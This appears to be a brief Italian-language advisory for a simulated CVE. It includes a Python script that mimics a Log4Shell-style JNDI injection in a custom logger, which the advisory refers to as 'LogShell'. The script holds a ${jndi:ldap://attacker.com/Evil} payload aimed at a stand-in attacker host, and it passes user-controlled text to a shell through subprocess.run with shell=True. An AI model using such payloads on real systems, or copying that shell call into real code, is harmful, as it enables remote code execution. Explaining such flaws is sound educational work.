CVE-2026-21011 – Iniezione JNDI in stile Log4j in Logger Personalizzato (Simulata)

Codice del Programma (simulazione Java in Python)

# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – Iniezione JNDI tramite Logger Personalizzato

Panoramica

Un framework di logging personalizzato valuta i pattern ${jndi:...} nei messaggi di log, in modo simile alla famigerata vulnerabilità LogShell. Un attaccante può iniettare una ricerca JNDI per caricare ed eseguire codice arbitrario da un server remoto.

Dettagli sulla vulnerabilità

• Tipo: Iniezione di codice / Iniezione JNDI
• Impatto: Esecuzione remota di codice.
• Causa principale: Il logger analizza dati controllati dall'utente ed esegue lookup dinamici in base al contenuto.

Dimostrazione dell'exploit

Esegui la simulazione:

python log4j_sim.py

Lo script stampa che caricherebbe una classe dal server LDAP dell'attaccante.